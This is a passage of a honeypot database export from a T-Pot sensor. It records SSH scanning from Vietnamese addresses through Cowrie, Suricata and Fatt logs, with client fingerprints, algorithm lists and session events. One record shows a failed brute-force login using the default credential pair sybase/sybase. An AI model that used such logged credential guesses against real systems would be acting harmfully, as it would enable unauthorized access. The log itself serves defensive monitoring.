"ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "66af4621e8ae", "@version": "1", "timestamp": "2021-09-20T11:06:45.785966Z", "@timestamp": "2021-09-20T11:06:45.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21272	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:46.300558+03	2021-09-20 14:15:03.451612+03	{"_id": "YQbjAnwBvYTbRNuEDQJf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1063107137202501, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54308, "dest_port": 22, "timestamp": "2021-09-20T11:06:46.300558Z", "@timestamp": "2021-09-20T11:06:46.300Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21266	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:45.728191+03	2021-09-20 14:15:03.443613+03	{"_id": "VAbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38746, "timestamp": "2021-09-20T11:06:45.728191", "@timestamp": "2021-09-20T11:06:45.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21267	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:45.468136+03	2021-09-20 14:15:03.444613+03	{"_id": "VQbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b7e753ab030f", "@version": "1", "duration": 2.4704272747039795, "timestamp": "2021-09-20T11:06:45.468136Z", "@timestamp": "2021-09-20T11:06:45.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21268	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:45.764173+03	2021-09-20 14:15:03.446612+03	{"_id": "XAbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54336, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.764173", "@timestamp": "2021-09-20T11:06:45.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21269	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:45.560302+03	2021-09-20 14:15:03.447612+03	{"_id": "XQbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c29d67f115fa", "@version": "1", "duration": 2.7100539207458496, "timestamp": "2021-09-20T11:06:45.560302Z", "@timestamp": "2021-09-20T11:06:45.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21270	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:45.655336+03	2021-09-20 14:15:03.448613+03	{"_id": "XgbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8f46dcae31ae", "@version": "1", "duration": 2.55025053024292, "timestamp": "2021-09-20T11:06:45.655336Z", "@timestamp": "2021-09-20T11:06:45.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21418	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.85639+03	2021-09-20 14:15:03.642613+03	{"_id": "YAbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a9a997c4a94a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.856390Z", "@timestamp": "2021-09-20T11:06:51.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21273	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:46.88242+03	2021-09-20 14:15:03.452613+03	{"_id": "YwbjAnwBvYTbRNuEDgJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:48784 (192.168.176.2:22) [session: b22ec41a08e3]", "session": "b22ec41a08e3", "@version": "1", "protocol": "ssh", "src_port": 48784, "dest_port": 22, "timestamp": "2021-09-20T11:06:46.882420Z", "@timestamp": "2021-09-20T11:06:46.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21274	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:46.908768+03	2021-09-20 14:15:03.453613+03	{"_id": "ZgbjAnwBvYTbRNuEDgJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b22ec41a08e3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:46.908768Z", "@timestamp": "2021-09-20T11:06:46.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21275	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:47.074795+03	2021-09-20 14:15:03.454613+03	{"_id": "ZwbjAnwBvYTbRNuEDgJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f92dc203e6b3", "@version": "1", "duration": 2.4468743801116943, "timestamp": "2021-09-20T11:06:47.074795Z", "@timestamp": "2021-09-20T11:06:47.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21276	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:42.176211+03	2021-09-20 14:15:03.455613+03	{"_id": "mAbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40594, "timestamp": "2021-09-20T11:06:42.176211", "@timestamp": "2021-09-20T11:06:42.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21277	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.847318+03	2021-09-20 14:15:03.457614+03	{"_id": "mwbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sybase/sybase] failed", "session": "7e0a483755f4", "@version": "1", "password": "sybase", "username": "sybase", "timestamp": "2021-09-20T11:06:42.847318Z", "@timestamp": "2021-09-20T11:06:42.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21278	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.612815+03	2021-09-20 14:15:03.458613+03	{"_id": "pgbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "078ee39c115f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:42.612815Z", "@timestamp": "2021-09-20T11:06:42.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21279	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:42.680565+03	2021-09-20 14:15:03.459612+03	{"_id": "qAbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c32c6a88cee8", "@version": "1", "timestamp": "2021-09-20T11:06:42.680565Z", "@timestamp": "2021-09-20T11:06:42.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
